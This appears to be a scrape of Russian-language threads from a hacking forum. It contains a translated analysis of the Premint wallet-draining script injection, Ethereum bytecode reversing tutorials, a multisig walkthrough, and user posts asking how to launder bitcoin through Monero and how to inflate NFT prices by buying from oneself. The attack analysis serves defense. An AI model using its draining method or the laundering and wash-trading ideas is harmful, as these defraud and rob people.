Подписать предложение

Теперь, когда наше предложение создано, мы можем подписать его с помощью учетных записей владельцев, которые мы назначили нашей мультиподписи Gnosis. Перейдите к мультиподписи Gnosis и проверьте, какие подписанты авторизованы. Это должно выглядеть примерно так.

1662088045974.png

Войдите в одну из перечисленных здесь учетных записей с помощью Metamask и снова перейдите на страницу предложения в Defendor'е. Теперь вы должны увидеть Approval. Нажмите эту кнопку, чтобы одобрить предложение, как показано ниже, и подпишите свой метамаск.

1662088061510.png

Затем Defendor сообщит вам, что у вас есть одно одобрение и сколько осталось, как показано ниже. В этом случае у нас есть еще одно одобрение.

1662088114757.png

На этом этапе вы можете подключить другую учетную запись Metamask и либо Approve and Executeили просто Approve. Если вы просто одобрите предложение, один из подписантов все равно должен будет его выполнить. Иногда, если это сделка с большим объемом газа, ее должен выполнить один из более богатых владельцев. Как только все утверждающие лица подпишут транзакцию и она будет выполнена, транзакция будет отправлена в блокчейн для проверки.

1662088148920.png

Проверяем

Теперь, когда наша мультиподписная транзакция обработана, давайте проверим, что все работает как положено. Мы должны увидеть депозит в размере 0,01 ETH от Lock контракта с нашей мультиподписью, поэтому давайте проверим это, взглянув на нашу мультиподпись Gnosis. Как вы можете видеть ниже, withdraw функция была выполнена, и если мы посмотрим на транзакцию на etherscan, мы увидим перевод 0,01 ETH.

1662088201756.png

1662088210408.png

Успех! Поздравляем с выполнением вашей первой транзакции по контракту с мультиподписью.

Анализ атаки на Premint
ID: 67686ad7b4103b69df37992d
Thread ID: 70812
Created: 2022-07-29T06:55:13+0000
Last Post: 2022-07-29T06:55:13+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

[Оригинальная статья](https://slowmist.medium.com/analysis-of-premint- malicious-code-injection-4051976fd201)
Переведено специяльно для XSS.IS
Камнями кидать в Jolah Milovski

1659076238939.png

Детали атаки

Открыв страницу проекта на Premint, мы видим, что на страницу внедрен cd.min.js. Не стек вызовов, а js, созданный [boomerang.min.js](https://s3-redwood-labs.premint.xyz/ theme/js/boomerang.min.js), где доменное имя s3-redwood-labs-premint-xyz.com перестало парситься и не могло нормально работать.

1659076622700.png

При запросе Whois доменное имя зарегистрированно в Tucows Domains Inc 07-16-2022:

1659076665076.png

При обращении к virustotal.com видим:

1659076776378.png

Глядя на исходный код, мы замечаем, что boomerang.min.js — это библиотека пользовательского интерфейса, которая использовалась Premint:

1659076801035.png

js находится под доменным именем s3-redwood-labs.premint.xyz, поэтому мы предполагаем:

- что существует уязвимость в интерфейсе загрузки файлов, которая позволяет загрузить любой файл на любой Path (распространенная веб-уязвимость).
- хакеры смогли внедрить вредоносный код после получения доступа к Amazon S3.
- эта библиотека стороннего производителя была повреждена в результате цепной атаки

Загружая код boomerang.min.jjs, мы замечаем, что фронт-энд отображает нормальную кодировку, однако в конце имеется зашифрованный слой кода:

1659076899817.png

Это код, отвечающий за внедрение кода s3-redwood-labs-premint- xyz.com/cdn.min.js на страницу:

**Вредоносный код — cdn.min.js

1659076952709.png

1659076961506.png

1659076971670.png**

По содержимому кода видно, что активы NFT пользователя были запрошены путем вызова интерфейса dappradar.com (в прошлом мы также видели, как вредоносные веб-сайты запрашивали пользовательские активы через Debank, Opensea API и т. д.). ).

Вот что происходит, если пользователи владеют соответствующими NFT:

1659077009304.png

1659077017307.png

Пользователей обманом заставляли одобрять вредоносные контракты под предлогом двухэтапной проверки кошелька. Нажав «одобрить», пользователи инициируют setApprovalForAll и авторизуют пользователей на адрес, возвращенный их внутренним интерфейсом (злоумышленники обычно делают это, чтобы увеличить стоимость блоков, они в основном перенаправляют и контролируют каждый адрес в течение 200 транзакций).
Как только кто-то одобрит функцию, злоумышленник также вызовет код мониторинга, чтобы сообщить себе, что кто-то одобрил функцию:

1659077057222.png

Если у пользователя нет NFT, он попытается напрямую инициировать запрос токена и перевести любой ETH, который может быть в кошельке:

1659077082892.png

В дополнение ко всему этому, этот метод шифрования имени переменной кода, начинающегося с _0xd289 _0x, был замечен на других фишинговых веб-сайтах, таких как play-otherside.org и thesaudisnfts.xyz.

Инициация setApprovalForAll будет передавать ETH напрямую на основе активов пользователей и запрещает пользователям использовать инструменты разработчика для устранения этих проблем:

Предохраняемся ;)

Итак, как это может быть предотвращено для обычного пользователя? На текущем этапе предупреждение о риске для MetaMask ERC 721 «setApprovalForAll» уступает ERC20.

1659077469002.png

Даже если пользователи не могут осознать риск такого поведения, обычному пользователю все равно важно быть осторожным при взаимодействии с любыми неизвестными контрактами, особенно при просмотре транзакций, которые включают «Утверждение». Также важно проверить, не содержат ли недавние транзакции этих адресов какие-либо ненормальные действия (например, «safeTransferFrom»). Всегда дважды проверяйте перед авторизацией любые транзакции!

Этот тип атаки был похож на тот, когда Coinzilla использовала рекламу для внедрения вредоносных атак на Etherscan, поэтому мы задаемся вопросом, можно ли это предотвратить?

1659077523633.png

Например, поведение и характеристики некоторого известного вредоносного js- кода:
- Метод шифрования, используемый в коде
- Любые характеристики ключа кода, которые являются вредоносными
- Отладка кода
- Использование вызовов opensea, debank, dappradar и других API для запроса пользовательских активов.

Основываясь на методологии поведения этих вредоносных кодов, мы можем попытаться определить, содержит ли страница код с какими-либо известными вредоносными функциями, прежде чем пользователь инициирует транзакцию. Или просто настройте механизм внесения веб-сайтов в белый список. Также будьте осторожны с сайтами, которые автоматически инициируют авторизацию без каких- либо предупреждений или рисков.

Монеро вопрос
ID: 67686ad7b4103b69df379968
Thread ID: 65547
Created: 2022-04-13T13:39:05+0000
Last Post: 2022-05-25T20:54:22+0000
Author: Focus17
Replies: 22 Views: 1K

Если биты поменять на бестчейндж на монеро, потом перекинуть на еще 1 кошель, считаются ли эти бабки анонимными?

Reversing Ethereum Smart Contracts: Part 2
ID: 67686ad7b4103b69df379969
Thread ID: 67621
Created: 2022-05-25T09:33:01+0000
Last Post: 2022-05-25T09:33:01+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

В предыдущей статье мы начали реверс- инжиниринг Greeter.sol контракта. В частности, мы рассмотрели диспетчер , часть контракта, которая принимает данные о вашей транзакции и определяет, в какую функцию они должны вас отправить.
Вот тот же самый контракт Greeter.sol.

Code:Copy to clipboard

contract mortal {
    /* Define variable owner of the type address */
    address owner;

    /* This function is executed at initialization and sets the owner of the contract */
    function mortal() { owner = msg.sender; }

    /* Function to recover the funds on the contract */
    function kill() { if (msg.sender == owner) selfdestruct(owner); }
}

contract greeter is mortal {
    /* Define variable greeting of the type string */
    string greeting;
    
    /* This runs when the contract is executed */
    function greeter(string _greeting) public {
        greeting = _greeting;
    }

    /* Main function */
    function greet() constant returns (string) {
        return greeting;
    }
}

Давайте рассмотрим kill() метод на этот раз.
Диспетчер существует в каждом смарт-контракте. Идентификатор функции для «kill()» : 0x41c0e1b5 , потому что это первые 4 байта его хеша keccak256 :

keccak256("kill()") = 41c0e1b5...
Вот часть диспетчера, которая проверяет входящую транзакцию в наш смарт- контракт и определяет, хочет ли он связаться с kill().

1653467547557.png

Давайте посмотрим, что происходит, когда диспетчер отправляет нас сюда.

kill()​

kill() функция в контракте Greeter.sol фактически наследуется от contract mortal :

Code:Copy to clipboard

contract mortal {
    /* Define variable owner of the type address */
    address owner;

    ...

    /* Function to recover the funds on the contract */
    function kill() { if (msg.sender == owner) selfdestruct(owner); }
}

contract greeter is mortal {
    ...
}

Поскольку greeter является mortal, все функции и члены mortal доступны для greeter. Даже если мы поместили в Binary Ninja только байткод для greeter, из- за такого наследования этот байткод содержит все функции mortal.

Функция kill() делает следующее:

  1. Проверяет, совпадает ли адрес, отправивший транзакцию, с адресом владельца контракта.

  2. Если да, kill() вызывает встроенную функцию самоуничтожения и передает адрес владельца в качестве аргумента.

Selfdestruct - это фактически опкод, поэтому он уже встроен в EVM. Теоретически это единственный способ удалить свой смарт-контракт из блокчейна Ethereum. Если ваш контракт принимает эфиры, то адрес, который вы передаете в качестве аргумента для Selfdestruct получает все эфиры, хранящиеся в вашем контракте, до того, как код контракта будет удален.

Смысл Selfdestruct (первоначально называвшегося suicide до EIP6) заключалась в том, чтобы позволить людям очистить блокчейн, удалив свои старые или неиспользуемые контракты. Если кто-либо отправит эфир на контракт, который был самоуничтожен, он будет потерян навсегда, поскольку адрес контракта больше не содержит кода для перевода эфира на другой адрес.

Дизассемблируем kill()

Давайте разберем kill() и рассмотрим операционные коды.

1653468328827.png

Being “Payable”​

Начнем с начала:

1653468481688.png

CALLVALUE - это количество вэев, отправленных в транзакции, и соответствует параметру msg.value транзакции. Вей - это наименьший номинал эфира, как цент по отношению к доллару, только 1 эфир = 1018 вей. Для простоты я буду обозначать посылаемое значение в эфирах. CALLVALUE заносит в стек столько эфира, сколько было послано функции kill(). ISZERO снимает это значение и помещает в стек 1, если оно было равно 0 (в kill() не было отправлено ни одного эфира).

Помните, что msg.data соответствует calldataload , а msg.value соответствует callvalue. Транзакция Ethereum содержит оба поля. Поле msg.data сообщает смарт-контракту, с какой функцией хочет взаимодействовать транзакция, а также содержит любые аргументы для этой функции. Поле msg.value может также содержать некоторое количество эфира для этой функции - совершенно отдельное поле. В нашем случае предположим, что кто-то отправил эфир в своей транзакции на kill(). Это означает, что 0 будет вытолкнут в стек функцией ISZERO. После PUSH2 0x5c стек выглядит следующим образом:

Code:Copy to clipboard

0: 0
1: 0x5c

JUMPI - это jumpi(label, cond), что означает переход к метке, если cond ненулевое. В данном случае cond равно 0, поэтому мы не переходим. Это приводит нас к этой ветке слева, которая сразу же приводит нас к REVERT.
1653468972594.png

Почему мы попадаем в REVERT, если кто-то послал эфир в функцию kill()? Потому что функция kill() не помечена в исходном коде как payable.

function kill() {

Когда прототип функции не имеет в конце модификатора payable, он отклоняет любую предназначенную для него транзакцию, содержащую эфир. Если автор смарт- контракта явно не включит функцию для пересылки эфира, хранящегося в его контракте, в другое место, он будет потерян навсегда. Необходимость добавления модификатора "payable" позволяет снизить частоту подобных ситуаций.

Оптимизация

Solidity стал доступным языком для такой сложной задачи, как написание смарт- контрактов. Однако, поскольку он еще относительно новый (то же самое относится и к Ethereum в целом), компилятор Solidity solc может выдавать избыточные инструкции в скомпилированном байткоде.

Возьмем, к примеру, этот набор инструкций в нашей функции kill():

1653469288782.png

Эти три инструкции - PUSH1 0x0, DUP1 и SWAP1. В результате выполнения этой инструкции 0x0 попадает в стек:

Code:Copy to clipboard

0: 0x0

... дублирует его:

Code:Copy to clipboard

0: 0x0
1: 0x0

... затем меняют его местами, так что два 0x0 в стеке переворачиваются.

Code:Copy to clipboard

0: 0x0
1: 0x0

Эти перегибы все еще прорабатываются, но, к счастью, компилятор solc имеет флаг оптимизатора, который делает хорошую работу по избавлению от некоторых из этих излишеств.
В нашем случае мы можем сгенерировать оптимизированный байткод с помощью следующей команды:

Code:Copy to clipboard

solc --bin-runtime --optimize --optimize-rounds 200 Greeter.sol

Поместив этот новый байткод в Binary Ninja, мы получим следующий результат:

1653469505272.png

Вы заметите, что рассмотренная нами payable логика осталась прежней, но количество операций резко сократилось!
Мы продолжим наш анализ с этим оптимизированным байткодом.

Разбираем kill()

Поскольку мы уже рассмотрели логику payable, перейдем к инструкциям, следующей непосредственно за ней в kill():

1653469643235.png

Первая инструкция, которую мы видим, - PUSH2 0x65. На самом деле она останется в стеке до самого конца выполнения kill(). Об этом можно догадаться заранее, если посмотреть в самый низ, то там есть инструкция JUMP по адресу 0x131.

Мы знаем, что JUMP требует аргумента, чтобы указать EVM место перехода, поэтому на стеке должно быть что-то еще. Мы также видим, что эта инструкция JUMP сразу же приводит нас к адресу 0x65. Таким образом, мы можем заключить, что 0x65 , который мы только что поместили в стек, будет использован в качестве аргумента для этой инструкции JUMP в самом конце этой функции. Следующая инструкция, PUSH2 0xf1 , является лишь аргументом для JUMP, следующего сразу за ней. После выполнения JUMP стек снова содержит только 0x65.

Далее у нас есть первая основная часть функции kill():

1653469872634.png

После JUMPDEST, которая служит в качестве заполнителя, указывающего, где приземлился JUMP, первыми инструкциями являются PUSH1 0x0 и затем SLOAD. Мы знаем, что SLOAD - это сокращение от storage load, которое загружает данные из индекса в памяти, а затем выталкивает их в стек.

nstruction| Result
---|---
sload(p)| storage[p]

В данном случае 0 - это переданный ей аргумент (поскольку он находится прямо над ней в стеке), поэтому SLOAD выталкивает storage[0] в стек. В нашем контракте это "адрес владельца контракта"

Code:Copy to clipboard

0: 0x65
1: адрес владельца контракта

Следующая инструкция - CALLER, которая выталкивает адрес отправителя вызова

Code:Copy to clipboard

0: 0x65
1: адрес владельца контракта
2: адрес отправителя вызова

После PUSH20 0xffffff..., SWAP1, DUP2 мы получаем:

Code:Copy to clipboard

0: 0x65
1: адрес владельца контракта
2: 0xffffffff... (длина 20 байт)
3: адрес абонента
4: 0xffffffff... (длина 20 байт)

Следующая инструкция - AND. При AND 0xffffffff... (длиной 20 байт) с адресом вызывающей стороны ничего не меняется. Эта инструкция просто проверяет, установлены ли нужные биты стека. AND вытаскивает эти два значения из стека, а затем заталкивает этот адрес в стек.

Code:Copy to clipboard

0: 0x65
1: адрес владельца контракта
2: 0xffffff... (длина 20 байт)
3: адрес абонента

Следующие инструкции - SWAP2, а затем AND, которая использует операцию AND для адреса владельца контракта. И снова результат AND заталкивается на вершину стека, где находится неизменный адрес владельца контракта. После выполнения этих инструкций стек выглядит следующим образом:

Code:Copy to clipboard

0: 0x65
1: адрес абонента
2: адрес владельца контракта

Следующая инструкция - EQ, которая проверяет, равны ли два верхних элемента стека, в этом случае она выдает 1, а в противном случае - 0. В данном случае EQ проверяет, равен ли адрес вызывающего абонента адресу владельца контракта.

Звучит знакомо? Должно быть. Это была строка if (msg.sender == owner) функции kill()!

Code:Copy to clipboard

    /* Функция для возврата средств по контракту */
    function kill() { if (msg.sender == owner) selfdestruct(owner); }

Следующей инструкцией будет ISZERO, которая проверит, равен ли результат 0 или

  1. Если значение равно 0, это означает, что отправитель сообщения не был владельцем контракта, и ISZERO принимает значение true. Если ISZERO оценивается как true, то он заносит 1 в стек, и в конечном итоге указывает инструкции JUMP пропустить следующий блок и перейти к 0x130, который вскоре вышвырнет вас из контракта.

1653470993443.png

Предположим, что адрес, отправивший эту транзакцию, действительно совпал с адресом "владельца" контракта. Выполнение продолжится по команде PUSH1 0x0. После этой инструкции стек выглядит следующим образом:

Code:Copy to clipboard

0: 0x65
1: 0

Снова SLOAD, который опять принял 0 в качестве аргумента и тем самым вытолкнул адрес владельца контракта в стек. После знакомых инструкций PUSH20 0xffffff... и AND наш стек содержит:

Code:Copy to clipboard

0: 0x65
1: адрес владельца контракта

Последняя инструкция в этом блоке - SELFDESTRUCT, которая рассматривает самый верхний элемент стека как адрес назначения для всего хранящегося эфира контракта, а затем удаляет весь код контракта. После того как SELFDESTRUCT удаляет адрес владельца контракта, в нашем стеке остается только 0x65, который снова используется в качестве аргумента для последней инструкции JUMP, ведущей к STOP.

Теперь код нашего контракта удален, а весь эфир, хранящийся в контракте, отправлен владельцу. Отлично!

Перевод [этой](https://arvanaghi.com/blog/reversing-ethereum-smart-contracts- pt2/) статьи.

Reversing Ethereum Smart Contracts
ID: 67686ad7b4103b69df37996a
Thread ID: 67619
Created: 2022-05-25T08:20:24+0000
Last Post: 2022-05-25T08:20:24+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

В этой статье я попытаюсь объяснить вам как происходит реверс инжиниринг смарт-контрактов используя Ethereum Virtual Machine и плагин Trail of Bits’ Ethersplay для Binary Ninja

По-реверсили потихонечку.

Ethereum Virtual Machine​

Виртуальная машина Ethereum (EVM) основана на stack-based и является quasi- Turing complete, это означает:

  1. stack-based -- Вместо того чтобы полагаться на регистры, любая операция будет полностью содержаться в стеке. Операнды, операторы и вызовы функций помещаются в стек, и EVM понимает, как действовать с этими данными и заставить смарт-контракт исполняться. Ethereum использует постфиксную нотацию для реализации на основе стека. В очень упрощенном виде это означает, что последний оператор, помещенный в стек, будет действовать с данными, помещенными в стек до него. Пример: мы запрограммированы на понимание формата 2 + 2. В нашей голове мы знаем, что оператор (+) в середине означает, что мы хотим применить сложение 2 и 2. Помещение + между двумя операндами - это лишь один из способов представления того, что мы хотим, чтобы произошло: мы могли бы с таким же успехом представить это как 2 2 +, что является постфиксной записью.

2)** quasi-Turing complete**: Язык или механизм выполнения кода считается "полным по Тьюрингу", если он может решить любую поставленную вами задачу. Неважно, сколько времени это займет, лишь бы он мог теоретически решить ее. Язык сценариев Биткойна не является полным по Тьюрингу, потому что с его помощью можно решить очень мало задач. В EVM вы можете решить всё, но мы говорим "квази-Тьюринг-полный", потому что вы ограничены стоимостью. Поскольку каждый, кто выпускает транзакцию, должен заплатить цену за газ (или цену за вычислительную единицу этой транзакции), сложные проблемы становятся чрезвычайно дорогостоящими. Таким образом, хотя EVM может решить любую задачу, которую вы ему поставите, необходимость платить за Gas делает очень сложные задачи экономически невыполнимыми.

Bytecode vs. Runtime Bytecode​

При компиляции контракта вы можете получить либо байткод контракта, либо runtime байткод .

Байткод контракта - это байткод того, что в конечном итоге будет находиться на блокчейне, плюс байткод, необходимый для транзакции размещения этого байткода на блокчейне и инициализации смарт-контракта (запуск конструктора).
Runtime байткод - это только тот байткод, который в итоге оказывается на блокчейне. Сюда не входит байткод, необходимый для инициализации контракта и размещения его на блокчейне.

Давайте возьмем смарт-контракт Greeter.sol и рассмотрим разницу.

Code:Copy to clipboard

contract mortal {
    /* Define variable owner of the type address */
    address owner;

    /* This function is executed at initialization and sets the owner of the contract */
    function mortal() { owner = msg.sender; }

    /* Function to recover the funds on the contract */
    function kill() { if (msg.sender == owner) selfdestruct(owner); }
}

contract greeter is mortal {
    /* Define variable greeting of the type string */
    string greeting;
   
    /* This runs when the contract is executed */
    function greeter(string _greeting) public {
        greeting = _greeting;
    }

    /* Main function */
    function greet() constant returns (string) {
        return greeting;
    }
}

При компиляции solc --bin Greeter.sol чтобы получить байт-код контракта, мы получаем:

Spoiler

6060604052341561000f57600080fd5b6040516103a93803806103a983398101604052808051820191905050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060019080519060200190610081929190610088565b505061012d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100c957805160ff19168380011785556100f7565b828001600101855582156100f7579182015b828111156100f65782518255916020019190600101906100db565b5b5090506101049190610108565b5090565b61012a91905b8082111561012657600081600090555060010161010e565b5090565b90565b61026d8061013c6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806341c0e1b514610051578063cfae321714610066575b600080fd5b341561005c57600080fd5b6100646100f4565b005b341561007157600080fd5b610079610185565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100b957808201518184015260208101905061009e565b50505050905090810190601f1680156100e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610183576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b565b61018d61022d565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102235780601f106101f857610100808354040283529160200191610223565b820191906000526020600020905b81548152906001019060200180831161020657829003601f168201915b5050505050905090565b6020604051908101604052806000815250905600a165627a7a723058204138c228602c9c0426658c0d46685e1d9c157ff1f92cb6e28acb9124230493210029

При компиляции с solc --bin-runtime Greeter.sol чтобы получить только runtime байт-код, мы получаем:

Spoiler

60606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806341c0e1b514610051578063cfae321714610066575b600080fd5b341561005c57600080fd5b6100646100f4565b005b341561007157600080fd5b610079610185565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100b957808201518184015260208101905061009e565b50505050905090810190601f1680156100e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610183576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b565b61018d61022d565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102235780601f106101f857610100808354040283529160200191610223565b820191906000526020600020905b81548152906001019060200180831161020657829003601f168201915b5050505050905090565b6020604051908101604052806000815250905600a165627a7a723058204138c228602c9c0426658c0d46685e1d9c157ff1f92cb6e28acb9124230493210029

Как видите, runtime байт-код является подмножеством полного байт-кода контракта:

1653461425940.png

Реверс ​

В этом руководстве мы будем использовать плагин Trail of Bits Ethersplay для Binary Ninja для дизассемблирования байт-кода.
Мы будем использовать Greeter.sol . Инструкция по добавлению плагина Ethersplay в Binary Ninja здесь Напоминаем, что мы будем реверсировать только runtime байт-код , так как только так мы на самом деле поймем что на самом деле делает контракт.

1653461691067.png

Плагин Ethersplay идентифицирует все функции в байт-коде среды выполнения и логически выделяет их для вас. В нашем контракте Ethersplay обнаружил две функции: kill() и greet(). Вскоре мы узнаем, как они были извлечены.

Когда вы совершаете транзакцию со смарт-контрактом, первая часть кода, с которой будет взаимодействовать ваша транзакция, — это диспетчер этого контракта. Диспетчер берет данные о вашей транзакции и определяет функцию, с которой вы пытаетесь взаимодействовать.

1653461870663.png

Первые инструкции, которые мы видим в диспетчере:

Code:Copy to clipboard

PUSH1 0x60 // argument 2 of mstore: the value to store in memory
PUSH1 0x40 // argument 1 of mstore: where to store that value in memory
MSTORE // mstore(0x40, 0x60)
PUSH1 0x4
CALLDATASIZE
LT
PUSH2 0x4c
JUMPI

Существует 16 различных версий PUSH инструкций ( PUSH1… PUSH16). Число сообщает EVM, сколько байт мы помещаем в стек.

Первые две инструкции, PUSH1 0x60 а также PUSH1 0x40, помещают 0x60 и 0x40 в стек соответственно. После выполнения этих инструкций runtime-стек будет выглядеть следующим образом:

Code:Copy to clipboard

1: 0x40
0: 0x60

MSTORE определяется в документации Solidity следующим образом:

Instruction| Result
---|---
mstore(p, v)| mem[p..(p+32)) := v

Аргументы функции считываются с вершины стека вниз, то есть мы получаем mstore (0x40, 0x60). Это эквивалентно mem[0x40...0x40+32] := 0x60.
mstore выталкивает два элемента из стека, так что стек теперь пуст! Наша следующая инструкция:

Code:Copy to clipboard

PUSH1 0x4
CALLDATASIZE
LT
PUSH 0x4c
JUMPI

После PUSH10x4, в стеке только один элемент.

0: 0x4

Функция CALLDATASIZE подталкивает размер calldata(эквивалент msg.data) в стек. Вы можете отправлять любые данные на любой смарт-контракт. CALLDATASIZE просто проверит, какой длинны эти данные.

После вызова CALLDATASIZE, стек выглядит так:

1: (however long the msg.data or calldata is)
0: 0x4

Это следующая инструкция LT, сокращение от «меньше чем», и работает так:

Instruction| Result
---|---
mstore(p, v)| mem[p..(p+32)) := v
lt(x, y)| 1 if x < y, 0 otherwise

lt помещает в стек 1, если первый аргумент меньше второго аргумента, и 0, если это не так. В нашем коде мы получаем

Code:Copy to clipboard

 lt((however long the msg.data or calldata is), 0x4).

Почему EVM проверяет, чтобы наши calldata были как минимум 4 байта? Из-за того, как **работают идентификаторы функций **.
Каждая функция идентифицируется первыми четырьмя байтами ее keccak256 хэш. То есть вы помещаете прототип функции (имя функции и аргументы, которые она принимает) в keccak256 хэш-функцию. В нашем контракте есть:

Code:Copy to clipboard

keccak256("greet()") = cfae3217...
keccak256("kill()") = 41c0e1b5...

Таким образом, функции идентифицируют cfae3217 для greet(), а также 41c0e1b5 для kill(). Диспетчер проверяет наличие calldata (или данные сообщения), которые вы отправили в контракт, имеют ли длину не менее 4 байтов, чтобы убедиться, что вы действительно пытаетесь связаться с функцией!
Идентификатор функции всегда имеют длину 4 байта, поэтому, если все сообщения, которые вы отправляете смарт-контракту, меньше 4 байтов, то они не дойдут до функции. Если calldatasizе меньше 4 байт, байт-код немедленно отправляет вас к блоку кода в конце, заканчивая выполнение контракта.

1653463577108.png

Рассмотрим как это происходит.

Если lt((however long the msg.data or calldata is), 0x4) оценивает 1 ( правда, или другими словами, calldata меньше 4 байт), то после извлечения двух верхних значений из стека, lt помещает 1 в стек.

Code:Copy to clipboard

0: 1

Далее у нас есть PUSH 0x4c а потом JUMPI. После PUSH 0x4c, наш стек выглядит так:

Code:Copy to clipboard

1: 0x4c
0: 1

JUMPI это условный переход и переходит к определенной метке/местоположению, если выполняется условие.

Instruction| Result
---|---
mstore(p, v)| mem[p..(p+32)) := v
lt(x, y)| 1 if x < y, 0 otherwise
jumpi(label, cond)| jump to label if cond is nonzero

В нашем случае label смещено0x4c в коде, и cond равен 1, поэтому он оценивается как истинный. Это означает, что программа переходит к смещению 0x4c.

Отправка​

Давайте посмотрим, как нужная функция извлекается из calldata. Стек пуст после последнего JUMPI инструкции.

1653464130535.png

Вот команды во втором блоке:

Code:Copy to clipboard

PUSH1 0x0
CALLDATALOAD
PUSH29 0x100000000....
SWAP1
DIV
PUSH4 0xffffffff
AND
DUP1
PUSH4 0x41c0e1b5
EQ
PUSH2 0x51
JUMPI

PUSH1 0x0 помещает 0 в конец стека.

Code:Copy to clipboard

0: 0

CALLDATALOAD принимает в качестве аргумента индекс в данных вызова, отправленных в смарт-контракт, и считывает 32 байта из этого индекса, например:

Instruction| Result
---|---
mstore(p, v)| mem[p..(p+32)) := v
lt(x, y)| 1 if x < y, 0 otherwise
jumpi(label, cond)| jump to label if cond is nonzero
calldataload(p)| call data starting from position p (32 bytes)

CALLDATALOAD помещает прочитанные 32 байта на вершину стека. С 0 индекс передан из PUSH1 0x0 командой, CALLDATALOAD считывает 32 байта данных вызова, начиная с байта 0, а затем помещает их на вершину стека (после извлечения исходного 0x0). Новый стек:

Code:Copy to clipboard

0: 32 bytes of calldata starting at byte 0

Следующая инструкция PUSH29 0x100000000....

Code:Copy to clipboard

1: 0x100000000....
0: 32 bytes of calldata starting at byte 0

SWAPi меняет местами верхний элемент в стеке с ith в пункт после него. В этом случае инструкция SWAP1 меняет местами верхний элемент в стеке с первым, следующим за ним.

Instruction| Result
---|---
mstore(p, v)| mem[p..(p+32)) := v
lt(x, y)| 1 if x < y, 0 otherwise
jumpi(label, cond)| jump to label if cond is nonzero
calldataload(p)| call data starting from position p (32 bytes)
swap1 … swap16| swap topmost and ith stack slot below it

Code:Copy to clipboard

1: 32 bytes of calldata starting at byte 0
0: PUSH29 0x100000000....

Следующая инструкция DIV, которая становится div(x, y) с этими, x/y. В этом случае х = 32 bytes of calldata starting at byte 0 и у = 0x100000000....
0x100000000.... имеет длину 29 байт, состоящую из 1 в начале, за которой следуют все 0. Ранее мы прочитали 32 байта из calldata. Разделив наши 32 байта calldata на 10000... Что оставит нам только самые верхние 4 байта нашей calldataload , начиная с индекса 0. Эти четыре байта — первые четыре байта в calldataload, начиная с индекса 0 — являются идентификатором функции! Если эта часть вам непонятна, подумайте об этом так: в base10, 123456000 / 100 = 123456. В base16 ничем не отличается. При делении 32-байтового значения (по основанию 16) на 29-байтовое значение (16 ^ 29) останутся только верхние 4 байта.

РезультатDIV помещается в стек.

Code:Copy to clipboard

0: function identifier from calldata

Далее мы видим PUSH4 0xffffffff потом AND , что в нашем случае будет AND в 0xffffffff с идентификатором функции, отправленным из calldata. Это делается просто для того, чтобы обнулить оставшиеся 28 байтов после идентификатора функции в том же элементе стека. А DUP1 следует инструкция, которая дублирует первый элемент в стеке (в данном случае идентификатор функции) и помещает его на вершину стека:

Code:Copy to clipboard

1: function identifier from calldata
0: function identifier from calldata

Наконец, мы видим PUSH4 0x41c0e1b5. Это идентификатор функции для kill(). Мы помещаем его в стек, потому что хотим сравнить его с идентификатором функции calldata.

Code:Copy to clipboard

2: 0x41c0e1b5
1: function identifier from calldata
0: function identifier from calldata

Следующая инструкция EQ или eq(x, y) , которая извлекает x и y из стека, помещает в стек 1, если они равны, или 0 в противном случае. Проверка на равенство между идентификатором функции calldata и всеми идентификаторами функций в смарт-контракте.

Code:Copy to clipboard

1: (1 if calldata functio identifier matched kill() function identifier, 0 otherwise)
0: function identifier from calldata

После PUSH2 0x51 , у нас есть:

Code:Copy to clipboard

2: 0x51
1: (1 if calldata functio identifier matched kill() function identifier, 0 otherwise)
0: function identifier from calldata

Мы нажимаем 0x51 потому что именно здесь мы будем прыгать в программе, если JUMPI условие выполнено. Другими словами, мы переходим к смещению 0x51 в коде, если идентификатор функции, отправленный из calldata , совпал с kill() , так как 0x51 это адрес где kill() живет!

ПослеJUMPI , мы либо пошли на 0x51, или продолжаем выполнения программы.

1653465642541.png

Наш стек содержит только:

Code:Copy to clipboard

0: function identifier from calldata

Вы заметите, что если мы не делаем прыжок к kill() функции, диспетчер реализует ту же логику для сравнения идентификатора функции calldata с greet() идентификатор функции. Диспетчер проверит каждую функцию в смарт- контракте, и если не найдет ту, которая соответствует отправленному вами идентификатору, то направит вас к выходному блоку.

Перевод вот [ЭТОЙ ](https://arvanaghi.com/blog/reversing-ethereum-smart- contracts/)статьи.

NFT ?
ID: 67686ad7b4103b69df379971
Thread ID: 61450
Created: 2022-01-15T17:17:42+0000
Last Post: 2022-04-28T00:48:05+0000
Author: mmdblack
Replies: 10 Views: 1K

Может кто знает про NFT подскажите
Нарвался в твитер на одного индуса вот с таким постом

__https://twitter.com/x/status/1380892874556907528

Якобы создаем NFT выкладываем на продажу, сами его и покупаем, и потом продаем со скидкой 90%

Сам собственно вопрос: реально ли NFT с историей так покупают?
есть что люди кто смотрит и видит что этот NFT был продан за N ную сумму и значит он какой-то особый и хочет купить его себе со скидкой?

usdt transaction scam
ID: 67686ad7b4103b69df379975
Thread ID: 59152
Created: 2021-11-22T18:55:30+0000
Last Post: 2022-04-18T14:34:26+0000
Author: nimrod313
Replies: 14 Views: 1K

Hey friends
